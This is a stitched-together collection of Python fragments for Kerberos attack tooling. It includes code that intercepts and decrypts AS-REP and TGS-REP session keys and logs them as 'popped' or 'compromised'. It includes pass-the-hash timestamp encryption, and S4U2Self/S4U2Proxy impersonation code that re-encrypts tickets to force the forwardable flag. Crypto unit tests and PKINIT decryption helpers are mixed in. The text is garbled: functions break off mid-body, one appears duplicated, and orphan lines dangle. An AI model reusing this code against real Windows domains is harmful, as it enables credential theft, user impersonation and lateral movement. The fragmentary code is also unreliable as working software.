def decrypt_pk_dh(data, user_cert, cert_pass, diffieHellmanExchange):
try:
rep = decode(data, asn1Spec=SPNEGO_PKINIT_REP())[0]['Kerberos']
except:
err = decode(data, asn1Spec=KRB_ERROR())[0]
raise Exception('Kerberos Error ' + ErrorCodes(err['error-code']).name)
# remove Octet String manualy
padata = str(rep['padata'][0]['padata-value']).encode('hex')
parsedPadata = decode(padata.decode('hex'), asn1Spec=AS_REP_Padata())[0]
decoded = parsedPadata['DHRepInfo']['dhSignedData']
kdcSignedDataResponse = decode(decoded, asn1Spec=SignedData())[0]
kdcDHKeyInfo = str(kdcSignedDataResponse['encapContentInfo']
['id-pkinit-authData-value']).encode('hex')
d = decode(kdcDHKeyInfo.decode('hex'), asn1Spec=KDCDHKeyInfo())[0]
dcPublicKey = int(encode(d['subjectPublicKey']).encode('hex')[20:], 16)
dcPublicNumbers = dh.DHPublicNumbers(dcPublicKey, diffieHellmanExchange[2])
backend = default_backend()
dcPublicKey = backend.load_dh_public_numbers(dcPublicNumbers)
shared_key = diffieHellmanExchange[1].exchange(dcPublicKey)
sharedHexKey = shared_key.encode('hex')
clientDHNonce = '6B328FA66EEBDFD3D69ED34E5007776AB30832A2ED1DCB1699781BFE0BEDF87A'
serverDHNonce = encode(
parsedPadata['DHRepInfo']['encKeyPack']).encode('hex')[8:]
fullKey = sharedHexKey + clientDHNonce + serverDHNonce
etype = rep['enc-part']['etype']
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
truncateKey = truncate(fullKey, 32)
key = Key(cipher.enctype, truncateKey)
elif etype == Enctype.AES128:
truncateKey = truncate(fullKey, 16)
key = Key(cipher.enctype, truncateKey)
elif etype == Enctype.RC4:
truncateKey = truncate(fullKey, 16)
key = Key(cipher.enctype, truncateKey)
cipherText = rep['enc-part']['cipher'].asOctets()
plainText = cipher.decrypt(key, 3, cipherText)
encASRepPart = decode(plainText, asn1Spec=EncASRepPart())[0]
cipher = _enctype_table[int(encASRepPart['key']['keytype'])]
session_key = Key(cipher.enctype,
encASRepPart['key']['keyvalue'].asOctets())
return session_key, cipher, rep
def decrypt_credential(ccache, index, key):
'''
Decrypt credential from CCache. Copied from
https://gist.github.com/xan7r/ca99181e3d45ee2042425f4f9181e614
Parameters:
ccache (CCache) Kerberos credential cache
index (int) Credential index
key (string) decryption key
Returns:
decrypted_ticket (bytes) decrypted ticket content
'''
try:
credential = ccache.credentials[index]
ticket = credential.ticket.getData()
except IndexError:
raise KutilException(f"The specified index '{index}' is out of range.")
enc_type = credential['key']['keytype']
try:
if enc_type == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
key = Key(enc_type, unhexlify(key))
elif enc_type == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
key = Key(enc_type, unhexlify(key))
elif enc_type == EncryptionTypes.rc4_hmac.value:
key = Key(enc_type, unhexlify(key))
else:
raise KutilException(f"Encryption type '{enc_type}' is not supported.")
except (binascii.Error, ValueError) as e:
raise KutilException("Error during key creation: " + str(e))
cipher = _enctype_table[enc_type]
spn_length = len(credential['server'].realm['data'])
for i in credential['server'].toPrincipal().components:
spn_length += len(i)
encryption_offset = 128 + (2 * spn_length)
encrypted_ticket = hexlify(ticket)[encryption_offset:]
try:
decrypted_ticket = cipher.decrypt(key, 2, unhexlify(encrypted_ticket))
except InvalidChecksum as e:
raise KutilException("Decryption error: " + str(e))
return decrypted_ticket
def test_RC4_checksum(self):
# RC4 checksum
kb = h('F7D3A155AF5E238A0B7A871A96BA2AB2')
keyusage = 6
plain = b'seventeen eighteen nineteen twenty'
cksum = h('EB38CC97E2230F59DA4117DC5859D7EC')
k = Key(Enctype.RC4, kb)
verify_checksum(Cksumtype.HMAC_MD5, k, keyusage, plain, cksum)
def test_DES3_checksum(self):
# DES3 checksum
kb = h('7A25DF8992296DCEDA0E135BC4046E2375B3C14C98FBC162')
keyusage = 2
plain = b'six seven'
cksum = h('0EEFC9C3E049AABC1BA5C401677D9AB699082BB4')
k = Key(Enctype.DES3, kb)
verify_checksum(Cksumtype.SHA1_DES3, k, keyusage, plain, cksum)
def negoexApRequest(self, data, privData):
# create data from keberos as normal ap request with data from as response and send it to generateAPRequest
# create data as checksum of all previous packets to send to generateVerify
apReq = self.generateAPRequest(data)
checksumtype = _checksum_table[ChecksumTypes.hmac_sha1_96_aes256.value]
keyServer = Key(Enctype.AES256, bytes.fromhex('fb3f5b9cb2e387a5815d57e672978a118c22404938b279bbd4e29e1505cac2c3'))
checksumToSend = checksumtype.checksum(keyServer, 25, bytes.fromhex(privData + apReq)).hex()
return apReq + self.generateVerify(checksumToSend=checksumToSend)
def test_AES128_checksum(self):
# AES128 checksum
kb = h('9062430C8CDA3388922E6D6A509F5B7A')
keyusage = 3
plain = b'eight nine ten eleven twelve thirteen'
cksum = h('01A4B088D45628F6946614E3')
k = Key(Enctype.AES128, kb)
verify_checksum(Cksumtype.SHA1_AES128, k, keyusage, plain, cksum)
def test_AES256_checksum(self):
# AES256 checksum
kb = h(
'B1AE4CD8462AFF1677053CC9279AAC30B796FB81CE21474DD3DDBCFEA4EC76D7')
keyusage = 4
plain = b'fourteen'
cksum = h('E08739E3279E2903EC8E3836')
k = Key(Enctype.AES256, kb)
verify_checksum(Cksumtype.SHA1_AES256, k, keyusage, plain, cksum)
def parse_AS_REP(self, rawData):
if (len(self.PREAUTH_ENCTYPES.keys()) == 0):
return rawData
# self.info['kerbSessionSalts_Lock'].acquire()
# self.info['kerbSessionKeys_Lock'].acquire()
try:
cname_start = rawData.find('\xa1\x12\x30\x10') + 6
cname_end = rawData.find('\xa5', cname_start)
userInRep = rawData[cname_start:cname_end]
#
# self.info['poppedCredsDB_Lock'].acquire()
#
asRep = decoder.decode(rawData[4:], asn1Spec=AS_REP())[0]
for user in self.info['poppedCredsDB'].keys():
popped = self.info['poppedCredsDB'][user]
if (str(asRep['cname']['name-string'][0]).lower() ==
popped.username.lower()):
# Try to decrypt the KerberosSessionKey with the user's password
enctype = int(constants.EncryptionTypes.
aes256_cts_hmac_sha1_96.value)
cipher = _enctype_table[enctype]
for encType in self.PREAUTH_ENCTYPES[enctype]:
try:
# if(popped.nt_hash != ''):
# self.logger.info("USING NT-HASH")
# key = Key(cipher.enctype, popped.nt_hash)
# else:
key = cipher.string_to_key(popped.password,
encType, None)
cipherText = asRep['enc-part']['cipher']
plainText = cipher.decrypt(key, 3, str(cipherText))
encASRepPart = decoder.decode(
plainText, asn1Spec=EncASRepPart())[0]
sessionKey = Key(
cipher.enctype,
str(encASRepPart['key']['keyvalue']))
# This is the user's Kerberos session key
self.KERB_SESSION_KEYS.append(sessionKey)
self.logger.info(
"\t!!! Popped a user's AS_REP !!! " +
hexlify(sessionKey.contents))
break
except:
continue
# self.info['poppedCredsDB_Lock'].release()
except Exception, e:
self.logger.error("K2TKerb[parseServerResponse] Type 11 Error: " +
str(e) + " " + traceback.format_exc())
def test_AES128(self):
# AES128 encrypt and decrypt
kb = h('9062430C8CDA3388922E6D6A509F5B7A')
conf = h('94B491F481485B9A0678CD3C4EA386AD')
keyusage = 2
plain = b'9 bytesss'
ctxt = h(
'68FB9679601F45C78857B2BF820FD6E53ECA8D42FD4B1D7024A09205ABB7CD2E'
'C26C355D2F')
k = Key(Enctype.AES128, kb)
self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)
self.assertEqual(decrypt(k, keyusage, ctxt), plain)
def test_DES3(self):
# DES3 encrypt and decrypt
kb = h('0DD52094E0F41CECCB5BE510A764B35176E3981332F1E598')
conf = h('94690A17B2DA3C9B')
keyusage = 3
plain = b'13 bytes byte'
ctxt = h(
'839A17081ECBAFBCDC91B88C6955DD3C4514023CF177B77BF0D0177A16F705E8'
'49CB7781D76A316B193F8D30')
k = Key(Enctype.DES3, kb)
self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)
self.assertEqual(decrypt(k, keyusage, ctxt), _zeropad(plain, 8))
def test_RC4(self):
# RC4 encrypt and decrypt
kb = h('68F263DB3FCE15D031C9EAB02D67107A')
conf = h('37245E73A45FBF72')
keyusage = 4
plain = b'30 bytes bytes bytes bytes byt'
ctxt = h(
'95F9047C3AD75891C2E9B04B16566DC8B6EB9CE4231AFB2542EF87A7B5A0F260'
'A99F0460508DE0CECC632D07C354124E46C5D2234EB8')
k = Key(Enctype.RC4, kb)
self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)
self.assertEqual(decrypt(k, keyusage, ctxt), plain)
def test_AES256(self):
# AES256 encrypt and decrypt
kb = h(
'F1C795E9248A09338D82C3F8D5B567040B0110736845041347235B1404231398')
conf = h('E45CA518B42E266AD98E165E706FFB60')
keyusage = 4
plain = b'30 bytes bytes bytes bytes byt'
ctxt = h(
'D1137A4D634CFECE924DBC3BF6790648BD5CFF7DE0E7B99460211D0DAEF3D79A'
'295C688858F3B34B9CBD6EEBAE81DAF6B734D4D498B6714F1C1D')
k = Key(Enctype.AES256, kb)
self.assertEqual(encrypt(k, keyusage, plain, conf), ctxt)
self.assertEqual(decrypt(k, keyusage, ctxt), plain)
def getKerberosType3(cipher, sessionKey, auth_data):
negTokenResp = SPNEGO_NegTokenResp(auth_data)
# If DCE_STYLE = FALSE
#ap_rep = decoder.decode(negTokenResp['ResponseToken'][16:], asn1Spec=AP_REP())[0]
try:
krbError = KerberosError(packet=decoder.decode(
negTokenResp['ResponseToken'][15:], asn1Spec=KRB_ERROR())[0])
except Exception:
pass
else:
raise krbError
ap_rep = decoder.decode(negTokenResp['ResponseToken'],
asn1Spec=AP_REP())[0]
cipherText = ap_rep['enc-part']['cipher']
# Key Usage 12
# AP-REP encrypted part (includes application session
# subkey), encrypted with the application session key
# (Section 5.5.2)
plainText = cipher.decrypt(sessionKey, 12, cipherText)
encAPRepPart = decoder.decode(plainText, asn1Spec=EncAPRepPart())[0]
cipher = _enctype_table[int(encAPRepPart['subkey']['keytype'])]()
sessionKey2 = Key(cipher.enctype,
encAPRepPart['subkey']['keyvalue'].asOctets())
sequenceNumber = int(encAPRepPart['seq-number'])
encAPRepPart['subkey'].clear()
encAPRepPart = encAPRepPart.clone()
now = datetime.datetime.utcnow()
encAPRepPart['cusec'] = now.microsecond
encAPRepPart['ctime'] = KerberosTime.to_asn1(now)
encAPRepPart['seq-number'] = sequenceNumber
encodedAuthenticator = encoder.encode(encAPRepPart)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 12,
encodedAuthenticator, None)
ap_rep['enc-part'].clear()
ap_rep['enc-part']['etype'] = cipher.enctype
ap_rep['enc-part']['cipher'] = encryptedEncodedAuthenticator
resp = SPNEGO_NegTokenResp()
resp['ResponseToken'] = encoder.encode(ap_rep)
return cipher, sessionKey2, resp.getData()
def parse_TGS_REP(self, rawData):
# mine = False
# if not self.info['smbKeyChain_Lock'].locked():
# self.info['smbKeyChain_Lock'].acquire()
# mine = True
try:
enctype = int(
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)
cipher = _enctype_table[enctype]
tgs = decoder.decode(rawData[4:], asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
sk = None
plainText = None
kerbSessionKey = None
for ksessionKey in self.KERB_SESSION_KEYS:
try:
plainText = cipher.decrypt(ksessionKey, 8, str(cipherText))
kerbSessionKey = ksessionKey
break
except Exception, e:
self.logger.info("Failed to decrypt TGS with " +
hexlify(ksessionKey.contents))
pass
if plainText == None:
# print("Failed to decrypt TGS ServiceSessionKey")
return rawData
encTGSRepPart = decoder.decode(plainText,
asn1Spec=EncTGSRepPart())[0]
ServiceSessionKey = Key(encTGSRepPart['key']['keytype'],
str(encTGSRepPart['key']['keyvalue']))
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
newKey = SMBKey(sessionBaseKey=ServiceSessionKey.contents[:16],
kerbSessionKey=kerbSessionKey.contents,
kerbServiceSessionKey=ServiceSessionKey.contents)
# Load the popped key into the keychain
# self.info['smbKeyChain'][hash(newKey)] = newKey
# self.info['kerbPoppedKeys'].put(newKey) # For speed
# if(mine):
# self.info['smbKeyChain_Lock'].release()
self.logger.info(
"[K2TKerb]\t !!!Compromised TGS ServiceSessionKey (SMB SessionBaseKey is first 16 bytes)!!! "
+ hexlify(newKey.KERBEROS_SERVICE_SESSION_KEY))
if encryptionTypesData.has_key(enctype) is False:
raise Exception('No Encryption Data Available!')
# Let's build the timestamp
timeStamp = PA_ENC_TS_ENC()
now = datetime.datetime.utcnow()
timeStamp['patimestamp'] = KerberosTime.to_asn1(now)
timeStamp['pausec'] = now.microsecond
# Encrypt the shyte
cipher = _enctype_table[enctype]
# Pass the hash/aes key :P
if nthash != '':
key = Key(cipher.enctype, nthash)
elif aesKey != '':
key = Key(cipher.enctype, unhexlify(aesKey))
else:
key = cipher.string_to_key(password, encryptionTypesData[enctype], None)
encodedTimeStamp = encoder.encode(timeStamp)
# Key Usage 1
# AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
# client key (Section 5.2.7.2)
encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)
encryptedData = EncryptedData()
encryptedData['etype'] = cipher.enctype
encryptedData['cipher'] = encriptedTimeStamp
encodedEncryptedData = encoder.encode(encryptedData)
def decrypt_pk_dh(data, diffieHellmanExchange):
try:
rep = SPNEGO_PKINIT_AS_REP.load(bytes.fromhex(data)).native
except:
krb_message = KerberosResponse.load(bytes.fromhex(data))
raise KerberosError(krb_message)
relevantPadata = None
for padata in rep['Kerberos']['padata']:
if padata['padata-type'] == 17:
relevantPadata = PA_PK_AS_REP.load(padata['padata-value']).native
break
if not relevantPadata:
raise Exception('No PAdata found with type 17')
keyinfo = SignedData.load(
relevantPadata['dhSignedData']).native['encap_content_info']
if keyinfo['content_type'] != '1.3.6.1.5.2.3.2':
raise Exception('Keyinfo content type unexpected value')
authdata = KDCDHKeyInfo.load(keyinfo['content']).native
pubkey = int(
''.join(['1'] + [str(x) for x in authdata['subjectPublicKey']]), 2)
pubkey = int.from_bytes(core.BitString(
authdata['subjectPublicKey']).dump()[7:],
'big',
signed=False)
shared_key = diffieHellmanExchange.exchange(pubkey)
server_nonce = relevantPadata['serverDHNonce']
fullKey = shared_key + diffieHellmanExchange.dh_nonce + server_nonce
etype = rep['Kerberos']['enc-part']['etype']
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError(
'RC4 key truncation documentation missing. it is different from AES'
)
key = Key(cipher.enctype, t_key)
enc_data = rep['Kerberos']['enc-part']['cipher']
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep['key']['keytype'])]
session_key = Key(cipher.enctype, encasrep['key']['keyvalue'])
return session_key, cipher, rep
# remove Octet String manualy
padata = str(rep['padata'][0]['padata-value']).encode('hex')
parsedPadata = decode(padata.decode('hex'), asn1Spec=AS_REP_Padata())[0]
decoded = parsedPadata['DHRepInfo']['dhSignedData']
kdcSignedDataResponse = decode(decoded, asn1Spec=SignedData())[0]
kdcDHKeyInfo = str(kdcSignedDataResponse['encapContentInfo']
['id-pkinit-authData-value']).encode('hex')
d = decode(kdcDHKeyInfo.decode('hex'), asn1Spec=KDCDHKeyInfo())[0]
dcPublicKey = int(encode(d['subjectPublicKey']).encode('hex')[20:], 16)
dcPublicNumbers = dh.DHPublicNumbers(dcPublicKey, diffieHellmanExchange[2])
backend = default_backend()
dcPublicKey = backend.load_dh_public_numbers(dcPublicNumbers)
shared_key = diffieHellmanExchange[1].exchange(dcPublicKey)
sharedHexKey = shared_key.encode('hex')
clientDHNonce = '6B328FA66EEBDFD3D69ED34E5007776AB30832A2ED1DCB1699781BFE0BEDF87A'
serverDHNonce = encode(
parsedPadata['DHRepInfo']['encKeyPack']).encode('hex')[8:]
fullKey = sharedHexKey + clientDHNonce + serverDHNonce
etype = rep['enc-part']['etype']
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
truncateKey = truncate(fullKey, 32)
key = Key(cipher.enctype, truncateKey)
elif etype == Enctype.AES128:
truncateKey = truncate(fullKey, 16)
key = Key(cipher.enctype, truncateKey)
elif etype == Enctype.RC4:
truncateKey = truncate(fullKey, 16)
key = Key(cipher.enctype, truncateKey)
cipherText = rep['enc-part']['cipher'].asOctets()
plainText = cipher.decrypt(key, 3, cipherText)
encASRepPart = decode(plainText, asn1Spec=EncASRepPart())[0]
cipher = _enctype_table[int(encASRepPart['key']['keytype'])]
session_key = Key(cipher.enctype,
encASRepPart['key']['keyvalue'].asOctets())
return session_key, cipher, rep
def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path):
if not os.path.isfile(additional_ticket_path):
logging.error("Ticket %s doesn't exist" % additional_ticket_path)
exit(0)
else:
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path)
ccache = CCache.loadFile(additional_ticket_path)
principal = ccache.credentials[0].header['server'].prettyPrint()
creds = ccache.getCredential(principal.decode())
TGS = creds.toTGS(principal)
tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
if self.__force_forwardable:
# Convert hashes to binary form, just in case we're receiving strings
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
# Compute NTHash and AESKey if they're not provided in arguments
if self.__password != '' and self.__domain != '' and self.__user != '':
if not nthash:
nthash = compute_nthash(self.__password)
if logging.getLogger().level == logging.DEBUG:
logging.debug('NTHash')
print(hexlify(nthash).decode())
if not aesKey:
salt = self.__domain.upper() + self.__user
aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
if logging.getLogger().level == logging.DEBUG:
logging.debug('AESKey')
print(hexlify(aesKey).decode())
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
cipherText = tgs['ticket']['enc-part']['cipher']
# Check which cipher was used to encrypt the ticket. It's not always the same
# This determines which of our keys we should use for decryption/re-encryption
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
if newCipher.enctype == Enctype.RC4:
key = Key(newCipher.enctype, nthash)
else:
key = Key(newCipher.enctype, aesKey)
# Decrypt and decode the ticket
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
plainText = newCipher.decrypt(key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Print the flags in the ticket before modification
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket from S4U2self is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Customize flags the forwardable flag is the only one that really matters
logging.info('\tForcing the service ticket to be forwardable')
# convert to string of bits
flagBits = encTicketPart['flags'].asBinary()
# Set the forwardable flag. Awkward binary string insertion
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
# Overwrite the value with the new bits
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket now is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Re-encode and re-encrypt the ticket
# Again, Key Usage 2
encodedEncTicketPart = encoder.encode(encTicketPart)
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
# put it back in the TGS
tgs['ticket']['enc-part']['cipher'] = cipherText
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# Add resource-based constrained delegation support
paPacOptions = PA_PAC_OPTIONS()
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
logging.info('\tRequesting S4U2Proxy')
r = sendReceive(message, self.__domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, cipherText)
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
return r, cipher, sessionKey, newSessionKey
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print(authenticator.prettyPrint())
print('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print(paForUserEnc.prettyPrint())
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print(tgsReq.prettyPrint())
logging.info('\tRequesting S4U2self')
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug('TGS_REP')
print(tgs.prettyPrint())
if self.__force_forwardable:
# Convert hashes to binary form, just in case we're receiving strings
if isinstance(nthash, str):
try:
nthash = unhexlify(nthash)
except TypeError:
pass
if isinstance(aesKey, str):
try:
aesKey = unhexlify(aesKey)
except TypeError:
pass
# Compute NTHash and AESKey if they're not provided in arguments
if self.__password != '' and self.__domain != '' and self.__user != '':
if not nthash:
nthash = compute_nthash(self.__password)
if logging.getLogger().level == logging.DEBUG:
logging.debug('NTHash')
print(hexlify(nthash).decode())
if not aesKey:
salt = self.__domain.upper() + self.__user
aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
if logging.getLogger().level == logging.DEBUG:
logging.debug('AESKey')
print(hexlify(aesKey).decode())
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
cipherText = tgs['ticket']['enc-part']['cipher']
# Check which cipher was used to encrypt the ticket. It's not always the same
# This determines which of our keys we should use for decryption/re-encryption
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
if newCipher.enctype == Enctype.RC4:
key = Key(newCipher.enctype, nthash)
else:
key = Key(newCipher.enctype, aesKey)
# Decrypt and decode the ticket
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
plainText = newCipher.decrypt(key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Print the flags in the ticket before modification
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
